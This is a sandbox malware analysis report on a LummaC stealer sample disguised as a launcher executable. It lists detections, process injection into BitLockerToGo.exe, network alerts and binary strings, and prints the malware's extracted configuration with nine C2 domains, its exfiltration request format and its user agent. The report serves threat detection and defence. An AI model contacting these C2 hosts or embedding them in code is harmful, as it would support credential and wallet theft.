Edit tour

Windows Analysis Report
Launcher_x32_x64.exe

Overview

General Information

Sample name:	Launcher_x32_x64.exe
Analysis ID:	1502259
MD5:	3934bed89091117678e2f202033fa78a
SHA1:	97ee80d1b44aea7711a4465d902119965d4c3c94
SHA256:	1d03b3ff5866b8064fc703327278785e0e582aa46e79eecad9c4a7fff1ad0a90
Tags:	exelumma
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to prevent local Windows debugging

Injects a PE file into a foreign processes

LummaC encrypted strings found

Sample uses string decryption to hide its real strings

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

Launcher_x32_x64.exe (PID: 7788 cmdline: "C:\Users\user\Desktop\Launcher_x32_x64.exe" MD5: 3934BED89091117678E2F202033FA78A)

4ud5if5k.0ze.exe (PID: 7972 cmdline: "C:\\Windows\\Temp\4ud5if5k.0ze.exe" MD5: 5BD0EC56270D24C40AA16D7FA73F2538)

BitLockerToGo.exe (PID: 8176 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["tenseddrywsqio.shop", "evoliutwoqm.shop", "traineiwnqo.shop", "locatedblsoqp.shop", "stagedchheiqwo.shop", "condedqpwqm.shop", "caffegclasiqwp.shop", "millyscroqwp.shop", "stamppreewntnq.shop"], "Build id": "LPnhqo--nlczjrpfwadf"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000003.00000002.1924955171.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000001.00000002.1884184643.0000000003B36000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000001.00000002.1894150698.0000000003C9E000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000001.00000002.1894150698.0000000003C9E000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.BitLockerToGo.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
3.2.BitLockerToGo.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-31T21:18:24.161459+0200
SID:	2049836
Severity:	1
Source Port:	49740
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-31T21:18:24.161459+0200
SID:	2054653
Severity:	1
Source Port:	49740
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.4 - Destination IP: 162.125.66.15

Timestamp:	2024-08-31T21:18:01.864560+0200
SID:	2803305
Severity:	3
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-31T21:18:24.662525+0200
SID:	2055493
Severity:	1
Source Port:	49741
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.4 - Destination IP: 162.125.66.18

Timestamp:	2024-08-31T21:17:59.955799+0200
SID:	2803305
Severity:	3
Source Port:	49730
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-31T21:18:23.541599+0200
SID:	2049836
Severity:	1
Source Port:	49739
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-31T21:18:23.541599+0200
SID:	2054653
Severity:	1
Source Port:	49739
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-31T21:18:24.036420+0200
SID:	2055493
Severity:	1
Source Port:	49740
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related Activity M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-31T21:18:25.244282+0200
SID:	2049812
Severity:	1
Source Port:	49741
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-31T21:18:25.244282+0200
SID:	2054653
Severity:	1
Source Port:	49741
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-31T21:18:23.025340+0200
SID:	2055489
Severity:	1
Source Port:	49739
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 172.67.209.93

Timestamp:	2024-08-31T21:18:22.543627+0200
SID:	2049836
Severity:	1
Source Port:	49738
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 172.67.209.93

Timestamp:	2024-08-31T21:18:22.543627+0200
SID:	2054653
Severity:	1
Source Port:	49738
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-08-31T21:18:22.550255+0200
SID:	2055479
Severity:	1
Source Port:	51944
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-08-31T21:18:23.545175+0200
SID:	2055483
Severity:	1
Source Port:	54383
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: locatedblsoqp.shop	URL Reputation: Label: phishing
Source: locatedblsoqp.shop	URL Reputation: Label: phishing
Source: traineiwnqo.shop	URL Reputation: Label: malware
Source: https://locatedblsoqp.shop/api	URL Reputation: Label: malware
Source: caffegclasiqwp.shop	URL Reputation: Label: malware
Source: millyscroqwp.shop	URL Reputation: Label: malware
Source: condedqpwqm.shop	URL Reputation: Label: phishing
Source: stagedchheiqwo.shop	URL Reputation: Label: phishing
Source: stamppreewntnq.shop	URL Reputation: Label: phishing
Source: https://tenseddrywsqio.shop/api	Avira URL Cloud: Label: malware
Source: https://instructorledlearning.dropboxbusiness.com/	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 3.2.BitLockerToGo.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["tenseddrywsqio.shop", "evoliutwoqm.shop", "traineiwnqo.shop", "locatedblsoqp.shop", "stagedchheiqwo.shop", "condedqpwqm.shop", "caffegclasiqwp.shop", "millyscroqwp.shop", "stamppreewntnq.shop"], "Build id": "LPnhqo--nlczjrpfwadf"}

Multi AV Scanner detection for domain / URL

Source: tenseddrywsqio.shop	Virustotal: Detection: 14%			Perma Link
Source: tenseddrywsqio.shop	Virustotal: Detection: 14%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Windows\Temp\4ud5if5k.0ze.exe

ReversingLabs: Detection: 21%

Multi AV Scanner detection for submitted file

Source: Launcher_x32_x64.exe

Virustotal: Detection: 10%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String decryptor: caffegclasiqwp.shop
Source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stamppreewntnq.shop
Source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stagedchheiqwo.shop
Source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String decryptor: millyscroqwp.shop
Source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String decryptor: evoliutwoqm.shop
Source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String decryptor: condedqpwqm.shop
Source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String decryptor: traineiwnqo.shop
Source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String decryptor: locatedblsoqp.shop
Source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tenseddrywsqio.shop
Source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String decryptor: LPnhqo--nlczjrpfwadf

Source: Launcher_x32_x64.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 162.125.66.18:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.66.15:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.93:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49741 version: TLS 1.2

Source: Launcher_x32_x64.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Net.Sockets.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1833876636.000000000E4A0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1833941119.000000000E521000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.Annotations\Release\net8.0\System.ComponentModel.Annotations.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Globalization.Calendars/Release/net8.0-windows/System.Globalization.Calendars.pdbSHA256y source: Launcher_x32_x64.exe
Source:	Binary string: System.ComponentModel.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Pipes\Release\net8.0-windows\System.IO.Pipes.pdbSHA256T source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.FileSystem.DriveInfo.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Contracts\Release\net8.0\System.Diagnostics.Contracts.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Cryptography\Release\net8.0-windows\System.Security.Cryptography.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1821107705.000000000CC30000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1821619144.000000000CE01000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Immutable\Release\net8.0\System.Collections.Immutable.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime\Release\net8.0\System.Runtime.pdbSHA256 source: Launcher_x32_x64.exe, 00000000.00000002.1819654142.000000000AD10000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Net.Security.ni.pdb source: Launcher_x32_x64.exe, Launcher_x32_x64.exe, 00000000.00000002.1820869663.000000000CAF0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1820979803.000000000CB91000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.EventBasedAsync\Release\net8.0\System.ComponentModel.EventBasedAsync.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.NonGeneric\Release\net8.0\System.Collections.NonGeneric.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.MemoryMappedFiles.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Data/Release/net8.0-windows/System.Data.pdbSHA256> source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\System.Private.CoreLib\x86\Release\System.Private.CoreLib.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1817950421.00000000098D1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Principal.Windows\Release\net8.0-windows\System.Security.Principal.Windows.pdbSHA256 source: Launcher_x32_x64.exe, 00000000.00000002.1834663564.000000000EAE1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834617042.000000000EAB0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x86.Release\dlls\mscordac\mscordaccore.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Formats.Tar.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.ThreadPool\Release\net8.0\System.Threading.ThreadPool.pdbSHA256^ source: Launcher_x32_x64.exe, 00000000.00000002.1834219419.000000000E610000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832317142.000000000D2A0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.ComponentModel.EventBasedAsync.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http\Release\net8.0-windows\System.Net.Http.pdbSHA256 source: Launcher_x32_x64.exe, 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1819406365.000000000AB50000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Private.Uri\Release\net8.0\System.Private.Uri.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1823830750.000000000D011000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1822713713.000000000CFD0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Primitives\Release\net8.0-windows\System.Net.Primitives.pdb source: Launcher_x32_x64.exe, Launcher_x32_x64.exe, 00000000.00000002.1820113775.000000000AEE0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1820163618.000000000AF31000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Diagnostics.FileVersionInfo.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Dynamic.Runtime/Release/net8.0-windows/System.Dynamic.Runtime.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Collections.Specialized.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Collections.NonGeneric.ni.pdb@- source: Launcher_x32_x64.exe
Source:	Binary string: BitLockerToGo.pdb source: 4ud5if5k.0ze.exe, 00000001.00000002.1894150698.0000000003F4C000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1882156226.0000000002F15000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading\Release\net8.0\System.Threading.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1832317142.000000000D2A0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832370982.000000000D2C1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Diagnostics.Tools/Release/net8.0-windows/System.Diagnostics.Tools.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel\Release\net8.0\System.ComponentModel.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.TextWriterTraceListener\Release\net8.0\System.Diagnostics.TextWriterTraceListener.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO.UnmanagedMemoryStream/Release/net8.0-windows/System.IO.UnmanagedMemoryStream.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Primitives\Release\net8.0\Microsoft.Win32.Primitives.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO.FileSystem.Primitives/Release/net8.0-windows/System.IO.FileSystem.Primitives.pdbSHA256C source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Runtime.Serialization/Release/net8.0-windows/System.Runtime.Serialization.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1819654142.000000000AD10000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Threading.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1832317142.000000000D2A0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832370982.000000000D2C1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Dynamic.Runtime/Release/net8.0-windows/System.Dynamic.Runtime.pdbSHA256T/ source: Launcher_x32_x64.exe
Source:	Binary string: System.Private.CoreLib.ni.pdbd source: Launcher_x32_x64.exe, 00000000.00000002.1817950421.00000000098D1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.InteropServices\Release\net8.0\System.Runtime.InteropServices.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1832613932.000000000D6A1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832560553.000000000D674000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.EventBasedAsync\Release\net8.0\System.ComponentModel.EventBasedAsync.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.NameResolution\Release\net8.0-windows\System.Net.NameResolution.pdbSHA256d source: Launcher_x32_x64.exe, 00000000.00000002.1834145533.000000000E5F1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834104783.000000000E5C0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Concurrent\Release\net8.0\System.Collections.Concurrent.pdbSHA256f source: Launcher_x32_x64.exe
Source:	Binary string: System.Drawing.Primitives.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.ComponentModel.Annotations.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Collections.Concurrent.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.ComponentModel.Primitives.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO/Release/net8.0-windows/System.IO.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/Microsoft.VisualBasic/Release/net8.0-windows/Microsoft.VisualBasic.pdbSHA256P source: Launcher_x32_x64.exe
Source:	Binary string: Microsoft.VisualBasic.Core.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Formats.Tar\Release\net8.0-windows\System.Formats.Tar.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections\Release\net8.0\System.Collections.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.Compression.ZipFile.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Configuration/Release/net8.0-windows/System.Configuration.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.NonGeneric\Release\net8.0\System.Collections.NonGeneric.pdbSHA256(^e source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Security\Release\net8.0-windows\System.Net.Security.pdbSHA256 source: Launcher_x32_x64.exe, 00000000.00000002.1820869663.000000000CAF0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1820979803.000000000CB91000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Pipes.AccessControl\Release\net8.0-windows\System.IO.Pipes.AccessControl.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Threading.Timer/Release/net8.0-windows/System.Threading.Timer.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1832317142.000000000D2A0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Linq.Expressions.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Process\Release\net8.0-windows\System.Diagnostics.Process.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Diagnostics.Debug/Release/net8.0-windows/System.Diagnostics.Debug.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Overlapped\Release\net8.0\System.Threading.Overlapped.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834088849.000000000E5B0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Primitives\Release\net8.0\Microsoft.Win32.Primitives.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Memory.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1832707797.000000000D6F1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832665993.000000000D6C0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.ThreadPool\Release\net8.0\System.Threading.ThreadPool.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834219419.000000000E610000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832317142.000000000D2A0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.IO.Pipes.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Core/Release/net8.0-windows/System.Core.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Security\Release\net8.0-windows\System.Net.Security.pdb source: Launcher_x32_x64.exe, Launcher_x32_x64.exe, 00000000.00000002.1820869663.000000000CAF0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1820979803.000000000CB91000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq.Expressions\Release\net8.0\System.Linq.Expressions.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x86.Release\Corehost.Static\singlefilehost.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.IsolatedStorage.ni.pdbz source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Pipes\Release\net8.0-windows\System.IO.Pipes.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Net.Security.ni.pdb2 source: Launcher_x32_x64.exe, 00000000.00000002.1820869663.000000000CAF0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1820979803.000000000CB91000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.MemoryMappedFiles\Release\net8.0-windows\System.IO.MemoryMappedFiles.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Compression.Brotli\Release\net8.0-windows\System.IO.Compression.Brotli.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Runtime.InteropServices.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1832613932.000000000D6A1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832560553.000000000D674000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.StackTrace\Release\net8.0\System.Diagnostics.StackTrace.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO.Compression.FileSystem/Release/net8.0-windows/System.IO.Compression.FileSystem.pdbSHA256 source: Launcher_x32_x64.exe
